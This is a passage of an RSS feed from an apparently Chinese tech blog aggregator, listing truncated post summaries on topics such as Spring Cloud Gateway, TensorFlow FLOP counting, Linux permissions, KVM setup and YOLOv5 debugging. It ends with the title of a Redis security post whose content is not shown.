      <description>通过调用百度api实现 每天500次免费次数&#xA;注意：需要先获取access_token&#xA;https://ai.baidu.com/ai-doc/OCR/rk3h7xzck百度那边的文档&#xA;uniapp的微信小程序端适用 &amp;lt;template&amp;gt; &amp;lt;view class=&#34;content&#34;&amp;gt; &amp;lt;!-- &amp;lt;image class=&#34;logo&#34; src=&#34;https://bchobby.github.io/static/logo.png&#34;&amp;gt;&amp;lt;/image&amp;gt; --&amp;gt; &amp;lt;view class=&#34;text-area&#34;&amp;gt; &amp;lt;text class=&#34;title&#34;&amp;gt;{{title}}&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;view class=&#34;&#34; @click=&#34;getACSS_TOKEN&#34; style=&#34;font-size: 36px;&#34;&amp;gt; gettoken &amp;lt;/view&amp;gt; &amp;lt;view class=&#34;&#34; @click=&#34;test&#34;&amp;gt; test &amp;lt;/view&amp;gt; &amp;lt;image :src=&#34;base64str&#34; mode=&#34;&#34;&amp;gt;&amp;lt;/image&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { title: &#39;Hello&#39;, apiKey: &#39;&#39;, SecretKey: &#39;&#39;, base64str: &#39;&#39; } }, onLoad() { // 在百度智能云那边创建一个应用后可以获取到下面两个参数 api Key 和 Secret Key this.apiKey = uni.getStorageSync(&#39;apiKey&#39;) this.SecretKey = uni.getStorageSync(&#39;SecretKey&#39;) }, methods: { test() { let that = this let access_token = uni.</description>
    </item>
    <item>
      <title>Gateway网关-过滤器工厂详解</title>
      <link>https://bchobby.github.io/posts/675db40089f27ae053859b879519c090/</link>
      <pubDate>Fri, 30 Oct 2020 15:18:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/675db40089f27ae053859b879519c090/</guid>
      <description>过滤器工厂详解 TIPS&#xA;本文基于 Spring Cloud Hoxton M2 ，理论支持 Spring Cloud Greenwich ，其中的新特性标注出来了。&#xA;这一节来探讨Spring Cloud Gateway内置的Filter工厂。&#xA;技巧 断点打在 org.springframework.cloud.gateway.filter.NettyRoutingFilter#filter ，就可以调试Gateway转发的具体细节了。&#xA;添加如下配置，可观察到一些请求细节：&#xA;logging: level: org.springframework.cloud.gateway: trace org.springframework.http.server.reactive: debug org.springframework.web.reactive: debug reactor.ipc.netty: debug 1 AddRequestHeader GatewayFilter Factory spring: cloud: gateway: routes: - id: add_request_header_route uri: https://example.org filters: - AddRequestHeader=X-Request-Foo, Bar 为原始请求添加名为 X-Request-Foo ，值为 Bar 的请求头。&#xA;2 AddRequestParameter GatewayFilter Factory spring: cloud: gateway: routes: - id: add_request_parameter_route uri: https://example.org filters: - AddRequestParameter=foo, bar 为原始请求添加请求参数 foo=bar</description>
    </item>
    <item>
      <title>计算机网络《自顶向下方法》学习笔记</title>
      <link>https://bchobby.github.io/posts/6556ebd824fe1e50884434d7fc27a586/</link>
      <pubDate>Fri, 30 Oct 2020 15:14:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6556ebd824fe1e50884434d7fc27a586/</guid>
      <description>第二章 应用层 网络应用是计算机存在的理由，若我们不能构想出有意思的应用，也就失去了设计支持它们（应用）的网络协议。 2.1 应用层协议原理 多端通信; 只关注应用层 -&amp;gt; 应用程序 BOOM !!! 2.1.1 网络应用程序体系结构 应用程序体系结构 ！== 网络体系结构应用程序程序员视角: 网络体系结构是固定的；它（网络体系结构）为应用程序提供特定的服务集合。应用程序体系结构由应用程序研发者设计：规定如何在多端组织该应用程序应用程序的两种主流体系结构 客户端 - 服务器 ： 服务器总是打开的，服务于请求它的客户；具有这种体系结构的应用程序包括 Web, FTP, Telnet, 电子邮件。（服务器不单是一台主机，而是一个或多个数据中心[Data Center]分布式提供服务。）P2P（Peer-To-Peer） ： 用户到用户的报文用于对等主机之间（无须通过中间服务器）直接发送。P2P 的特性之一 自扩展性（self-calability）相当引人入胜。 2.1.2 进程通信 跨端进程（程序）通信过程：发送进程生成并向网络中发送报文 --&amp;gt; 接收进程接收这些报文并可能通过会送报文进行响应。 1. 客户和服务器进程 网络应用程序由成对的进程组成，这些进程通过网络互相发送报文。将其一表示为客户（client）， 另一进程标识为服务器（server）。 2. 进程与计算机网络之间的接口 进程向进程发送报文必须通过下面的网络。进程通过一个称为套接字（socket）的软件接口向网络发送/接收报文。可以将进程比作房子，套接字比作房子的门。（假定门与门之间有运输的基础设施）套接字是同一台主机内应用层与传输层之间的接口。套接字被称为应用程序和网络之间的应用程序编程接口（API）。应用程序开发者可以控制套接字在应用端的一切；对套接字的运输层端几乎没有控制权。应用程序开发者对运输层的控制仅限于：1. 选择运输层协议 2. 也许能设定几个运输层参数：最大缓存和最大报文长度等。应用程序开发者选择一个运输层协议（若提供选择），则应用程序就建立在由该协议提供的运输层服务之上。 3. 进程寻址 主机由 IP地址 (IP address) 标识。 IP 地址是一个 32 bit（比特）的量。一台能够运行多个网络应用。端口号(Port Number) 用于这个目的。web: 80 smtp: 25 2.1.3 可供应用程序使用的运输服务器 一个运输层协议能为调用它的应用程序提供：可靠数据传输/ 吞吐量/ 定时/ 安全。 1. 可靠数据传输 分组在计算机网络中可能丢失：分组能使路由器中缓存溢出； 分组中的某些比特损坏后可能被丢弃。确保进程发送的数据正确，完全交付到另一进程。如果一个协议提供了这种服务时，就认为提供了可靠数据传输（reliable data transfer） 2.</description>
    </item>
    <item>
      <title>Tensorflow计算网络参数量和计算量FLOPs</title>
      <link>https://bchobby.github.io/posts/4bb04ce4d061c574fdf590ae6cefc75a/</link>
      <pubDate>Fri, 30 Oct 2020 11:29:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4bb04ce4d061c574fdf590ae6cefc75a/</guid>
      <description>Author: 杭州电子科技大学-自动化学院-智能系统和机器人研究中心-Jolen Xie&#xA;先引入头文件 import tensorflow as tf 1.计算参数量 def count_param(): # 计算网络参数量 total_parameters = 0 for v in tf.trainable_variables(): shape = v.get_shape() variable_parameters = 1 for dim in shape: variable_parameters *= dim.value total_parameters += variable_parameters print(&#39;网络总参数量：&#39;, total_parameters) 2. 计算FLOPS def count_flops(graph): flops = tf.profiler.profile(graph, options=tf.profiler.ProfileOptionBuilder.float_operation()) print(&#39;FLOPs: {}&#39;.format(flops.total_float_ops)) 3.一起算 def stats_graph(graph): flops = tf.profiler.profile(graph, options=tf.profiler.ProfileOptionBuilder.float_operation()) params = tf.profiler.profile(graph, options=tf.profiler.ProfileOptionBuilder.trainable_variables_parameter()) print(&#39;FLOPs: {}; Trainable params: {}&#39;.format(flops.total_float_ops, params.total_parameters)) 一起算的使用方法：&#xA;... graph =tf.get_default_graph() stats_graph(graph) .</description>
    </item>
    <item>
      <title>安装Xshell遇到   由于找不到MSVCR110.dll，无法继续执行代码。重新安装程序可能会解决此问题</title>
      <link>https://bchobby.github.io/posts/ad881b080315cd75d52a1a7510598bc4/</link>
      <pubDate>Fri, 30 Oct 2020 11:03:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad881b080315cd75d52a1a7510598bc4/</guid>
      <description>由于找不到MSVCR110.dll，无法继续执行代码。重新安装程序可能会解决此问题 当只缺少一个文件的时候可以用我在这个博客中的办法也可解决&#xA;但当缺少多个dl文件的时候还是不建议用这个方法，比较容易报错，可能导致系统的其他文件错乱，建议直接使用这个，方便还比较简单，&#xA;各类dll文件出错，一般都是系统在安装的时候出错，或者是有配置文件丢失&#xA;就会导致出现这一类的问题，只需要按照如下步骤操作即可&#xA;1、首先输入 http://www.microsoft.com/zh-CN/download/details.aspx?id=30679 这个网址。&#xA;打开之后，要选择“简体中文”，直接点击“下载”按钮就可以了；&#xA;2、接下来就到下载页面，里面有计算机的型号，根据自己计算机要对应下载，选择好以后，就点击下载就可以了；&#xA;3、就到感谢下载的页面，程序也在开始下载了，文件不大；&#xA;4、找到已经下载的文件，运行文件就可以了，运行之后就出现下面的图片所示，在“我同意许可条款和条件”的前面给打上勾，然后点击“安装”就可以了；&#xA;注：这个图片是在百度上找到的，，之前给别人解决这一类的问题的时候需要有这个操作&#xA;但我自己在使用这个的时候是没有这样的&#xA;直接就只是这个样子，点击修复即可&#xA;然后就是修复完成&#xA;这样即可解决这一类的问题&#xA;再重启安装的Xshell或者其他软件，基本上不会出现这一类的问题</description>
    </item>
    <item>
      <title>Linux如何用二进制代表文件权限（不懂来砍我）</title>
      <link>https://bchobby.github.io/posts/8cd95d54a919ea4697bdfb819c5305bc/</link>
      <pubDate>Thu, 29 Oct 2020 22:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8cd95d54a919ea4697bdfb819c5305bc/</guid>
      <description>（：今天在实验楼复习Linux的时候看到了用二进制数字表示文件权限的解释，所以做一下笔记记录一下。&#xA;有兴趣去做的同学可以打开 实验楼 Linux 基础入门 去实操一下&#xA;文章目录 查看文件权限二进制表示文件权限修改文件权限 查看文件权限 查看当前目录下的所有文件（带有文件权限）&#xA;ls -l 当前目录下所有文件的权限 ls -l /a 查看的是b文件的权限 ls -l /a/b 查看的是c文件的权限 ls -l /a/b/c 查看的是c文件的权限 下图很好的解释了上面各项的意思&#xA;上图意思为该文件类型为目录&#xA;上图 rwx 代表的是所有者（user）拥有的权限&#xA;上图 r-x 代表的是组群（group）拥有的权限&#xA;上图 r-x 代表的是其他人（other）拥有的权限&#xA;二进制表示文件权限 我们记住这句话：&#xA;有这个权限，则这一位就为1&#xA;我们看看例子：&#xA;前三个rwx都在，所以前三个每一个都为1，二进制表示为7。&#xA;中间三个缺少了一个w，所以除了w之外其他两个都为1，二进制表示为5。&#xA;后面三个缺少了一个w，所以除了w之外其他两个都为1，二进制表示为5。&#xA;所以这个目录文件的权限用二进制表示就是 755。&#xA;嫌麻烦的同学也可以直接记每个权限对应的数字&#xA;权限数字表示:&#xA;r ---------- 4&#xA;w --------- 2&#xA;x ---------- 1&#xA;再举个例子，下面的权限用二进制表示是什么呢？&#xA;rwx rw- r–&#xA;答案在文章最后找。&#xA;修改文件权限 看回我们刚刚创建的一个 demo.txt&#xA;如果我们想要它的权限全开，那应该怎么操作呢？&#xA;chmod 777 abc.txt //给demo.txt文件文件设置777权限 修改成功！</description>
    </item>
    <item>
      <title>解决sentinel key not found (h0007) Unity</title>
      <link>https://bchobby.github.io/posts/d4e877aaf858196db9df4b4d2834de7f/</link>
      <pubDate>Thu, 29 Oct 2020 16:32:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4e877aaf858196db9df4b4d2834de7f/</guid>
      <description> 一、目的 1、电脑重做系统后，打开Unity项目跳出了sentinel key not found (h0007) Unity对话框 二、参考 1、sentinel key not found (h0007) Unity https://blog.csdn.net/alexhu2010q/article/details/101367845&#xA;总结：good：能实现 2、cmd中如何进入某文件目录 https://zhidao.baidu.com/question/18450488.html&#xA;总结：good：i一开始不知到如何cmd进入到Unity安装目录，参考这个知道如何进行了 三、操作 1、管理员打开命令提示符 2、输入如下 d: cd Unity cd 2017.4.35f1\Editor hasp_update.exe u unity-sl.v2c </description>
    </item>
    <item>
      <title>linux 大量的TIME_WAIT解决办法</title>
      <link>https://bchobby.github.io/posts/dae9c2114ce85706f2d9fe532a27594e/</link>
      <pubDate>Thu, 29 Oct 2020 15:14:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dae9c2114ce85706f2d9fe532a27594e/</guid>
      <description>统计在一台前端机上高峰时间TCP连接的情况，统计命令：&#xA;netstat -n | awk &#39;/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}&#39;&#xA;结果：&#xA;除了ESTABLISHED，可以看到连接数比较多的几个状态是：FIN_WAIT1, TIME_WAIT, CLOSE_WAIT, SYN_RECV和LAST_ACK；下面的文章就这几个状态的产生条件、对系统的影响以及处理方式进行简单描述。&#xA;发现存在大量TIME_WAIT状态的连接&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:41378 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:41379 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:39352 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:39350 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:35763 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:39372 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:39373 TIME_WAIT&#xA;tcp 0 0 127.0.0.1:3306 127.0.0.1:41176 TIME_WAIT&#xA;通过调整内核参数解决</description>
    </item>
    <item>
      <title>redhat</title>
      <link>https://bchobby.github.io/posts/e2798af12a7a0f4f70b4d69efbc25f4d/</link>
      <pubDate>Thu, 29 Oct 2020 11:34:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2798af12a7a0f4f70b4d69efbc25f4d/</guid>
      <description> bond配置红帽官方：&#xA;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/s2-networkscripts-interfaces-cha&#xA;绑定的MAC地址将从第一个要获取接口的接口获取。如果需要，也可以使用HWADDR指令指定它。如果要NetworkManager控制此接口，请删除该NM_CONTROLLED=no指令，或将其设置为yes，然后添加TYPE=Bond和BONDING_MASTER=yes。 创建通道绑定接口后，必须通过在其配置文件中添加MASTER和SLAVE指令来配置要绑定在一起的网络接口。每个通道绑定接口的配置文件可以几乎相同。 </description>
    </item>
    <item>
      <title>Hyperledger Fabric链码开发实践日志</title>
      <link>https://bchobby.github.io/posts/0445c000b9c4f1f4c9012308019f3257/</link>
      <pubDate>Thu, 29 Oct 2020 09:04:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0445c000b9c4f1f4c9012308019f3257/</guid>
      <description>1.链码结构总述 这里，链码的开发用的是Go语言，为此需要先简单学习一下Go语言，这是一门轻量级的语言，有意思的是它自带通道，可以并发，就很适合大型分布式系统的开发。&#xA;启动链码必须调用shim包中的Start函数，这个函数的参数是一个Chaincode接口类型，Chaincode这个接口类型中有两个方法分别是Init和Invoke，这是链码开发中极为重要的两个方法：&#xA;Init：在链码实例化或者升级的时候被调用，完成数据初始化；Invoke：在更新或查询提案事务中分类帐本数据状态的时候被调用。 在实际开发中，需要定义一个结构体，重写Init和Invoke两个方法完成相关功能。下面具体看看一个链码必要的结构：&#xA;package main //所写的包的名称 import ( &#34;fmt&#34; &#34;github.com/hyperledger/fabric/core/chaincode/shim&#34; &#34;github.com/hyperledger/fabric/protos/peer&#34; )//引入必要的包 type HelloChaincode struct{}//定义一个结构体 func main() { err := shim.Start(new(HelloChaincode)) if err != nil { fmt.Printf(&#34;链码启动失败: %v&#34;, err) } }//主函数，调用shim.Start方发启动链码 func (t *HelloChaincode) Init(stub shim.ChaincodeStubInterface) peer.Response{ } func (t *HelloChaincode) Invoke(stub shim.ChaincodeStubInterface) peer.Response{ fun, args := stub.GetFunctionAndParameters() } 2.熟悉链码相关API 主要是shim包提供的API，分为5类：&#xA;参数解析API：用来获取参数的账本数据状态操作API：对账本数据查询、更新等交易信息获取API：获取提交的交易信息事件处理API：与事件处理相关对私有数据操作的API：专门对私有数据操作 API的数量还是比较多的，大多是获取相关信息的，有时间可以仔细看看，初级阶段主要使用的几个:&#xA;GetFunctionAndParameters()(function string，params []string)返回被调用函数的名称以及参数列表GetStringArgs()[]string 直接返回参数列表GetState(key string)([]byte,error) 根据指定的key值查询数据状态PutState(key string,value []byte)error 根据指定的key，将对应的value保存到帐本中 3.链码实现Hello World 3.1 链码开发 先写个hello world练练手哈。</description>
    </item>
    <item>
      <title>创客使用Fusion 360 - 制作模型</title>
      <link>https://bchobby.github.io/posts/3dd459daf44c6acf17775b954c06e01f/</link>
      <pubDate>Thu, 29 Oct 2020 05:57:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3dd459daf44c6acf17775b954c06e01f/</guid>
      <description>细节知识 Fusion 360 本文，我们将使用“模型”，“造型”和“修补程序”工作区中的“创建”菜单来制作实体模型，T样条曲线和曲面模型。 模型模式可生成具有定义的边线和尺寸的坚固，精确的表格。 雕刻模式可形成固体，有机的流动形式。 修补模式可创建具有定义的边缘和尺寸的空心精确形状。 我们将在所有三个工作区之间反弹模型，以利用它们的独特功能。&#xA;直接和参数建模 参数化建模最适合需要精确尺寸进行制造的项目。 它使用基于特征的实体和曲面设计工具。 所有动作都记录在一个时间轴中，您可以更改任何操作（例如草图的大小），并在上游进行所有更改。 您可以设置参数以及参数之间的关系；例如，使一个主体始终保持另一个主体尺寸的一半。 这使您可以自动进行重复更改，并对基本设计进行小的自定义更改。&#xA;直接建模最适合概念性思考。 设计起来更容易，因为草图和实体之间没有关联性；也就是说，您不会收到错误消息，告诉您不能移动实体，因为草图引用了它。 没有时间表，因此您无法更改任何内容，也无法更改周围的所有内容。&#xA;要直接建模，请在浏览器中右键单击文件标题，然后单击“不捕获设计历史记录”（下图）。 将出现一条消息，指出将删除所有设计历史记录；单击继续。 您拥有的所有时间轴都将被删除，并且从那时起将没有时间轴。 您还可以直接在时间轴上为特定操作建模；只需右键单击操作的时间轴图标，然后选择“转换为DM功能”即可。 这样，您就不会丢失其他所有时间轴图标。&#xA;图略&#xA;一些工具仅存在于直接建模中，而其他工具仅存在于参数化中。 “模型”和“修补程序”工作区提供直接和参数化建模。 造型模式仅提供直接。&#xA;建模工作流程 您可以在Model中启动一个项目，然后在Patch中完成它，或者在Sculpt中启动它，然后将其引入Model中。 通过此工作流程，您可以利用每个工作区的功能。 您可以将Sculpt中的项目带到“修补程序”或“模型”工作区中，然后仅以直接建模模式而不是参数模式再次带回。 您无法在Sculpt中修改实体模型。&#xA;模型工作区 点击创建菜单（下图）。&#xA;图略&#xA;在这里，您会找到现成的主体：盒子，圆柱体，球体，圆环，盘管和管道。 若要查看工作原理，请单击“框”，然后单击“原点平面”。 单击三次以勾画框，然后将其拉到所需的高度（下图）。&#xA;图略&#xA;试用其余的框（下图）。 管道需要一条预定的线才能将其拉动；您可以绘制一条线或样条线，也可以使用主体上的边缘。&#xA;图略&#xA;主体和组件 Fusion 360使用主体和组件系统。 设计决策应基于此系统做出，因此让我们先讨论这个主题，然后再继续。&#xA;主体 主体是单个3D框。 我们刚刚制作的盒子是一个主体。 当从工具对话框中选择“新建主体”时，“创建”菜单中的大多数工具都会创建新主体。 拆分主体时，两个部分都是主体。 相互添加和减去主体以进行设计。 例如，您可以通过制作底座的主体和徽标的主体，然后将它们结合在一起来对名片进行建模。&#xA;四种不同类型的主体如下：&#xA;由Fusion的模型工作区制成的实体在Fusion的修补工作区中制作的曲面在Fusion的Sculpt模式制作T样条网格，这是导入的STL或OBJ文件。 必须将网格主体转换为实体才能进行编辑。 但是，Fusion只能转换没有孔或其他缺陷的网格。 不同的主体类型不会互相影响。 必须先将它们转换为相同的类型，然后才能加入，剪切或相交。 Solid和Surface是Fusion的核心主体类型，因此最好最终将模型转换为其中一种格式。 这使您可以使用完整的Fusion工具集进行组装，制造和仿真。&#xA;所有主体转换都必须在直接建模模式下完成，因此，如果您处于参数模式，请右键单击浏览器的标题字段，然后选择“不捕获设计历史记录”。 然后，通过在其周围拖动选择窗口，单击鼠标右键，然后选择“网格主体到BRep”或“ BRep到网格主体”，来选择要转换的项目（下图）。&#xA;图略&#xA;如果未显示这些选项，请尝试以其他方式选择它，例如，通过单击其浏览器条目。&#xA;您可以转换：&#xA;实体/曲面到T样条T样条到实体/曲面网格到R样条网格到实体/曲面（如果网格没有缺陷） 组件 组件是容纳主体的容器。 更典型地，一个组件包含多个实体，草图以及组成零件的任何其他构造对象。 装配，CNC指令和比例图以及创建物料清单需要零件。 默认情况下，浏览器代表一个组件，顶部的浏览器节点（带有文件标题的文本字段）是设计的“根”。 通过浏览器，您可以将一个组件拖到另一个组件中，这将创建一个子装配（一个组件中的一个组件）。</description>
    </item>
    <item>
      <title>office deployment tool_工具 | 分享一个小利器，从此 Office 快速打开不是事</title>
      <link>https://bchobby.github.io/posts/cb1984ee25c16c0d2820f996f8c6163a/</link>
      <pubDate>Wed, 28 Oct 2020 22:39:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cb1984ee25c16c0d2820f996f8c6163a/</guid>
      <description>平常打开 Office 软件（Word、Excel、PowerPoint），大家有没有觉得有点慢呢？&#xA;为了提升软件利用效率，很多人给 Office 软件安装了各种各样的插件，不过因此，软件打开也变慢了。&#xA;今天我给大家安利一个小利器——mobp，由知乎 @kkocdko 分享，可以让三大 Office 软件（Word、Excel、PowerPoint）在后台常驻（其他 Office 软件暂不支持），这样打开软件的时候就可以快一点了。&#xA;关于这个工具，下面作简要介绍。&#xA;01 官网 02 大小 03 适用 04 安装 05 开启 06 关闭 07 自启 08 注意 09 总结 01 官网 github.com/kkocdko/mobp&#xA;02 大小 目前最新的 1.1.5 版约占 4KB。&#xA;03 适用 建议在 win 10 系统 Office 2016 以上版本使用。&#xA;04 安装 无需安装，是 exe 文件，可直接运行。&#xA;05 开启 运行程序，Word、Excel 和 PowerPoint 就会常驻后台。&#xA;接下来，打开软件或文档时，就可以缩短所需时间了。&#xA;06 关闭 如果想关闭该工具，可通过如下两种方式。&#xA;① 再次打开程序&#xA;开启工具后，当再次运行，就会关闭后台中常驻的 Office 程序。</description>
    </item>
    <item>
      <title>＜VIII＞虚拟化安装部署</title>
      <link>https://bchobby.github.io/posts/233290c3adb7f0628f98f939c63dd9d3/</link>
      <pubDate>Wed, 28 Oct 2020 22:35:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/233290c3adb7f0628f98f939c63dd9d3/</guid>
      <description>文章目录 一、安装虚拟机前提条件二、手动安装虚拟机三、虚拟机快照1.虚拟机母体添加后，手动添加虚拟机的快照步骤：2.使用脚本建立新的虚拟机，脚本的内容时直接进行前期的默认设置3.脚本做快照4.快照被破坏后，重新建立 四、虚拟机管理命令五、虚拟机在 Linux 系统中传输实验步骤： 六、建立网桥建立网桥，与本机连接网络 一、安装虚拟机前提条件 1，kvm 安装条件&#xA;[root@westos_student3 ~]# less /proc/cpuinfo #查看安装条件，有vmx,svm 1）inter cpu ----&amp;gt; vmx&#xA;2）amd cpu -------&amp;gt; svm&#xA;2,kvm 虚拟化相关信息########&#xA;服务名称：libvirtd&#xA;虚拟化核心：qemu/kvm&#xA;虚拟化存储目录（虚拟机硬盘）：/var/lib/libvirt/images/westos.qcow2&#xA;虚拟化硬件信息：/etc/libvirt/qemu/westos.xml&#xA;3，kvm 虚拟化安装&#xA;Virtualization Client ##虚拟化客户端&#xA;Virtualization Tools ##虚拟化工具&#xA;Virtualization Hypervisor ##虚拟化核心套件&#xA;[root@westos_student3 ~]# mount /isos/rhel-8.2-x86_64-dvd.iso /mnt/ #挂载镜像 [root@westos_student3 ~]# df #查看挂载 [root@westos_student3 ~]# dnf group list --hidden #列出隐藏软件案组 [root@westos_student3 ~]# dnf group install &#34;Virtualization Client&#34; &#34;Virtualization Hypervisor&#34; &#34;Virtualization Tools&#34; #把列出的隐藏软件案组里面的这三个组建安装 [root@westos_student3 ~]# vim /etc/yum.</description>
    </item>
    <item>
      <title>用户输入石头、剪刀或布，电脑也会出一个招，要求得出最终结果，显示胜利玩家。</title>
      <link>https://bchobby.github.io/posts/b4a2854a3f56cdd2776f62306571859b/</link>
      <pubDate>Wed, 28 Oct 2020 19:42:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4a2854a3f56cdd2776f62306571859b/</guid>
      <description> 用户输入石头、剪刀或布，电脑也会出一个招，要求得出最终结果，显示胜利玩家。&#xA;//用数字来代表猜拳 var m=prompt(&#39;请输入你的值: &#39;) //取值0-2 if(m&amp;gt;=0 &amp;amp;&amp;amp; m &amp;lt;=2){ //判断0为“石头” if(m==0){ console.log(&#39;石头&#39;) } //判断1为“剪刀” else if(m==1){ console.log(&#39;剪刀&#39;) } //判断2为“布” else if(m==2){ console.log(&#39;布&#39;) } } //电脑的随机取值 var n=parseInt(Math.random()*3) if(n==0){ console.log(&#39;石头&#39;) } else if(n==1){ console.log(&#39;剪刀&#39;) } else if(n==2){ console.log(&#39;布&#39;) } //用数字代表石头、剪刀、布，来判断谁输谁赢 if(m==0&amp;amp;&amp;amp;n==1){ console.log(&#39;我赢&#39;) } else if(m==0&amp;amp;&amp;amp;n==2){ console.log(&#39;电脑赢&#39;) } else if(m==2&amp;amp;&amp;amp;n==0){ console.log(&#39;我赢&#39;) } else if(m==2&amp;amp;&amp;amp;n==1){ console.log(&#39;电脑赢&#39;) } else if(m==1&amp;amp;&amp;amp;n==2){ console.log(&#39;我赢&#39;) } else if(m==1&amp;amp;&amp;amp;n==0){ console.log(&#39;电脑赢&#39;) } else if(m==n){ console.log(&#39;平局&#39;) } </description>
    </item>
    <item>
      <title>yolov5如何找出召回率以及map较低的原因（或者说找出难以预测的图片）</title>
      <link>https://bchobby.github.io/posts/eaf924b2302e9ac965e92f9be07c7ec1/</link>
      <pubDate>Wed, 28 Oct 2020 19:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eaf924b2302e9ac965e92f9be07c7ec1/</guid>
      <description>最近一直在用yolov5（v1.0版本）做头盔、安全帽、人脸三分类的检测任务，数据集是三个数据集的融合，关于融合数据集前边说到过，这里就不再提起，最终的指标（0.5的阈值）如下：&#xA;尝试了一些增强数据方法，也用了很多优化策略，但是指标都不提升，因此从数据角度查找原因，通过指标可以看出，模型的精度很高，召回率较低，因此说明模型漏检问题较为严重，对detect.py文件进行一些修改，&#xA;labels = [] #这里是画检测框的代码 for *xyxy, conf, cls in det: label = &#39;%s %.2f&#39; % (names[int(cls)], conf) #统计当前图片检测出来的label数量 labels.append(label) plot_one_box(xyxy, im0, label=label, color=colors[int(cls)], line_thickness=3) #获取txt路径 txt_path = p.replace(&#39;images&#39;, &#39;labels&#39;).replace(&#39;jpg&#39;, &#39;txt&#39;) #获取ground truth的数量 with open(txt_path, &#39;r&#39;) as f: num = f.readlines() #保存漏检的图片 if len(num) &amp;gt; len(labels): cv2.imwrite(save_path, im0) else: pass 到这里 我们已经获取了标注好的但是有漏检的图片，下一步，用另一个颜色在图上画上ground truth&#xA;#先保存一个上述图片路径的txt文件 with open(&#39;img.txt&#39;,&#39;w&#39;) as f: for dir in os.listdir(img_path): pic_name = img_path + dir + &#39;\n&#39; f.</description>
    </item>
    <item>
      <title>ThreadPoolTaskExecutor</title>
      <link>https://bchobby.github.io/posts/eccb11c7daee62159cd56f36fa3913b1/</link>
      <pubDate>Wed, 28 Oct 2020 18:03:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eccb11c7daee62159cd56f36fa3913b1/</guid>
      <description>当我们需要实现并发、异步等操作时，通常都会使用到ThreadPoolTaskExecutor ThreadPoolTaskExecutor是spring core包中的，而ThreadPoolExecutor是JDK中的JUC。ThreadPoolTaskExecutor是对ThreadPoolExecutor进行了封装处理。&#xA;自己在之前写多线程代码的时候都是这么玩的executor=Executors.newCachedThreadPool();但是有一次在大量数据的时候由于入库速度远大于出库速度导致内存急剧膨胀最后悲剧了重写代码，原来spring 早就给我们做好封装了。&#xA;祖类都是调用Executor接口&#xA;ThreadPoolTaskExecutor通常通过XML方式配置，或者通过Executors的工厂方法进行配置&#xA;配置文件spring-thread.xml &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;beans xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xmlns=&#34;http://www.springframework.org/schema/beans&#34; xsi:schemaLocation=&#34;http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd&#34;&amp;gt; &amp;lt;bean id=&#34;threadPoolTaskExecutor&#34; class=&#34;org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor&#34; lazy-init=&#34;false&#34;&amp;gt; &amp;lt;!-- 线程池维护线程的最少数量 --&amp;gt; &amp;lt;property name=&#34;corePoolSize&#34; value=&#34;32&#34;/&amp;gt; &amp;lt;!-- 允许的空闲时间 --&amp;gt; &amp;lt;property name=&#34;keepAliveSeconds&#34; value=&#34;180&#34;/&amp;gt; &amp;lt;!-- 线程池维护线程的最大数量 --&amp;gt; &amp;lt;property name=&#34;maxPoolSize&#34; value=&#34;64&#34;/&amp;gt; &amp;lt;!-- 缓存队列 --&amp;gt; &amp;lt;property name=&#34;queueCapacity&#34; value=&#34;2048&#34;/&amp;gt; &amp;lt;!-- 不允许回收核心线程 --&amp;gt; &amp;lt;property name=&#34;allowCoreThreadTimeOut&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;!-- 线程组名 --&amp;gt; &amp;lt;property name=&#34;threadGroupName&#34; value=&#34;xiao-zhen-group-name&#34;/&amp;gt; &amp;lt;!-- 对拒绝task的处理策略 --&amp;gt; &amp;lt;property name=&#34;rejectedExecutionHandler&#34;&amp;gt; &amp;lt;bean class=&#34;java.util.concurrent.ThreadPoolExecutor$CallerRunsPolicy&#34;/&amp;gt; &amp;lt;/property&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;/beans&amp;gt; java代码 /** * * 业务代码提交类 */ @Autowired private ThreadPoolExecutorService threadPoolExecutorService ; // 提交线程任务，传具体实现类，构造器参数自己定义 threadPoolExecutorService.</description>
    </item>
    <item>
      <title>Redis被攻击（Redis安全性）</title>
      <link>https://bchobby.github.io/posts/d9eda71b26c07b8242c71cf673685522/</link>
      <pubDate>Wed, 28 Oct 2020 17:04:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9eda71b26c07b8242c71cf673685522/</guid>
